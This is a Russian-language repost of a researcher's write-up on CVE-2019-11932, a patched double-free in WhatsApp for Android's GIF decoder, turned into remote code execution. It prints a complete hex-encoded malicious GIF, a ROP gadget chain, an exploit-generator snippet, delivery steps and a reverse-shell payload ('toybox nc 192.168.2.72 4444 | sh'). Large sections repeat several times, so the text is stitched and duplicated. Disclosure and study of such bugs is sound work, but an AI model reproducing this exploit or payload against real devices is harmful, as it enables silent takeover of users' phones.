
Техническое описание и эксплойт-код для CVE-2019-11932, уязвимости двойного освобождения памяти в WhatsApp для Android, которая приводит к удаленному выполнению кода через специально созданный GIF-файл.
Я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.
Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.
Шаги следующие:
Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем.
Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется.
Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:
Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.
Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
Как ошибка double-free в WhatsApp превращается в RCE 14 минут чтения НА ЭТОЙ СТРАНИЦЕ ДЕМО УЯЗВИМОСТЬ ДВОЙНОГО ОСВОБОЖДЕНИЯ В DDGIFSLURP В DECODING.C В LIBPL_DROIDSONROIDS_GIF УПРАВЛЕНИЕ РЕГИСТРОМ PC РАБОТА С ASLR И W^X СБОРКА ВСЕГО ВМЕСТЕ ЗАТРОНУТЫЕ ВЕРСИИ ВЕКТОРЫ АТАКИ В этом посте я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.
Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.
Демо https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Ссылка Google Drive для загрузки, если указанная выше ссылка недоступна https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Шаги следующие:
0:16 Злоумышленник отправляет GIF-файл пользователю по любому каналу Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем. 0:24 Пользователь хочет отправить медиафайл одному из своих друзей в WhatsApp. Он нажимает кнопку «Скрепка» и открывает галерею WhatsApp, чтобы выбрать медиафайл для отправки другу. Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется. 0:30 Поскольку WhatsApp показывает предварительный просмотр каждого медиафайла (включая полученный GIF), это вызовет ошибку двойного освобождения и наш эксплойт RCE. Уязвимость двойного освобождения в DDGifSlurp в decoding.c в libpl_droidsonroids_gif Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.
После первого перераспределения у нас есть буфер info->rasterBits размером 100. При втором перераспределении размером 0 буфер info->rasterBits освобождается. При третьем перераспределении размером 0 info->rasterBits освобождается снова. Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } В Android двойное освобождение памяти размером N приводит к тому, что два последующих выделения памяти размером N возвращают один и тот же адрес.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Как ошибка double-free в WhatsApp превращается в RCE 14 минут чтения НА ЭТОЙ СТРАНИЦЕ ДЕМО УЯЗВИМОСТЬ ДВОЙНОГО ОСВОБОЖДЕНИЯ В DDGIFSLURP В DECODING.C В LIBPL_DROIDSONROIDS_GIF УПРАВЛЕНИЕ РЕГИСТРОМ PC РАБОТА С ASLR И W^X СБОРКА ВСЕГО ВМЕСТЕ ЗАТРОНУТЫЕ ВЕРСИИ ВЕКТОРЫ АТАКИ В этом посте я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.
Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.
Демо https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Ссылка Google Drive для загрузки, если указанная выше ссылка недоступна https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Шаги следующие:
0:16 Злоумышленник отправляет GIF-файл пользователю по любому каналу Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем. 0:24 Пользователь хочет отправить медиафайл одному из своих друзей в WhatsApp. Он нажимает кнопку «Скрепка» и открывает галерею WhatsApp, чтобы выбрать медиафайл для отправки другу. Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется. 0:30 Поскольку WhatsApp показывает предварительный просмотр каждого медиафайла (включая полученный GIF), это вызовет ошибку двойного освобождения и наш эксплойт RCE. Уязвимость двойного освобождения в DDGifSlurp в decoding.c в libpl_droidsonroids_gif Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.
После первого перераспределения у нас есть буфер info->rasterBits размером 100. При втором перераспределении размером 0 буфер info->rasterBits освобождается. При третьем перераспределении размером 0 info->rasterBits освобождается снова. Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } В Android двойное освобождение памяти размером N приводит к тому, что два последующих выделения памяти размером N возвращают один и тот же адрес.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
В приведённом выше фрагменте переменная $foo была освобождена дважды. В результате следующие два выделения ($20 и $21) возвращают один и тот же адрес. Теперь посмотрим на структуру GifInfo в gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
Затем мы создаём GIF-файл с тремя кадрами следующих размеров: sizeof(GifInfo) 0 0
Когда открывается галерея WhatsApp, указанный GIF-файл вызывает ошибку двойного освобождения для буфера rasterBits размером sizeof(GifInfo). Интересно, что в галерее WhatsApp GIF-файл анализируется дважды. Когда указанный GIF-файл анализируется снова, создаётся ещё один объект GifInfo. Из-за поведения двойного освобождения в Android объект GifInfo info и info->rasterBits будут указывать на один и тот же адрес. Затем DDGifSlurp() декодирует первый кадр в буфер info->rasterBits, тем самым перезаписывая info и его rewindFunction(), которая вызывается в конце функции DDGifSlurp().
GIF-файл, который нам нужно создать, выглядит следующим образом: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Он содержит четыре кадра: Frame 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Frame 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Frame 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Frame 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 Ниже описана последовательность, происходящая при открытии галереи WhatsApp:
Первый разбор: Инициализация: GifInfo info = malloc(168); Кадр 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Кадр 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Кадр 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Кадр 4: не имеет значения, он здесь, чтобы сделать этот GIF-файл корректным Второй разбор: Инициализация: GifInfo info = malloc(168); Кадр 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Кадр 2, 3, 4: не имеют значения Конец: info->rewindFunction(info); Из-за ошибки двойного освобождения, произошедшей при первом разборе, info и info->rasterBits теперь указывают на одно и то же место. С первым кадром, созданным, как описано, мы можем управлять rewindFunction и PC, когда вызывается info->rewindFunction(info);. Обратите внимание, что все кадры закодированы LZW. Мы должны использовать кодировщик LZW для кодирования кадров. Вышеуказанный GIF вызывает краш, как показано ниже:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
После управления PC мы хотим добиться удалённого выполнения кода. В Android мы не можем выполнять код в неисполняемых областях из-за W^X (т.е. стек и куча). Самый простой способ справиться с W^X в нашем случае — выполнить следующую команду:
system("toybox nc 192.168.2.72 4444 | sh"); Для этого нам нужно, чтобы PC указывал на функцию system() в libc.so, а X0 указывал на "toybox nc 192.168.2.72 4444 | sh". Это нельзя сделать напрямую. Нам нужно сначала заставить PC перейти на промежуточный гаджет, который устанавливает X0 в указатель на "toybox nc 192.168.2.72 4444 | sh" и затем переходит к system(). Из дизассемблированного кода вокруг info->rewindFunction(info); видно, что и X0, и X19 указывают на info->rasterBits (или info, так как они указывают на одно и то же место), в то время как X8 на самом деле является info->rewindFunction.
Дизассемблирование вокруг info->rewindFunctionВ libhwui.so есть гаджет, который идеально подходит для наших целей:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Допустим, адрес вышеуказанного гаджета — AAAAAAAA, а адрес функции system() — BBBBBBBB. Буфер rasterBits (кадр 1) до кодирования LZW выглядит следующим образом:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. В обычной системе Android, поскольку все процессы порождаются из Zygote, даже с ASLR наши адреса AAAAAAAA и BBBBBBBB не меняются, если WhatsApp убит и перезапущен. Однако они не сохраняются после перезагрузки системы. Чтобы иметь надежные AAAAAAAA и BBBBBBBB, нам нужна уязвимость раскрытия информации, которая дает нам базовый адрес libc.so и libhwui.so. Эта уязвимость выходит за рамки данной статьи.
Просто скомпилируйте код из этого репозитория. Обратите внимание, что адрес system() и гаджета должны быть заменены на фактические адреса, полученные через уязвимость раскрытия информации (которая не рассматривается в этой статье). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
Запустите код, чтобы сгенерировать поврежденный GIF-файл:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Затем скопируйте содержимое в GIF-файл и отправьте его как документ через WhatsApp другому пользователю WhatsApp. Обратите внимание, что его нельзя отправлять как медиафайл, иначе WhatsApp попытается преобразовать его в MP4 перед отправкой. Когда пользователь получит вредоносный GIF-файл, ничего не произойдет, пока пользователь не откроет галерею WhatsApp, чтобы отправить медиафайл своему другу.
Эксплойт работает до версии WhatsApp 2.19.230. Уязвимость официально исправлена в версии WhatsApp 2.19.244
Эксплойт хорошо работает на Android 8.1 и 9.0, но не работает на Android 8.0 и ниже. В более старых версиях Android двойное освобождение (double-free) всё ещё может быть вызвано. Однако из-за вызовов malloc системой после двойного освобождения приложение просто падает, прежде чем мы дойдем до точки, где мы могли бы управлять регистром PC.
Обратите внимание, что Facebook уведомил разработчика репозитория android-gif-drawable о проблеме. Исправление от Facebook было также включено в оригинальный репозиторий в коммите от 10 августа. Версия 1.2.18 android-gif-drawable безопасна от ошибки двойного освобождения.
С помощью вышеописанной эксплуатации мы можем получить два вектора атак:
#Источник Afnan Sadhayo Infiniteloopers.com
Я не владею этим, если у вас есть проблемы, свяжитесь с владельцем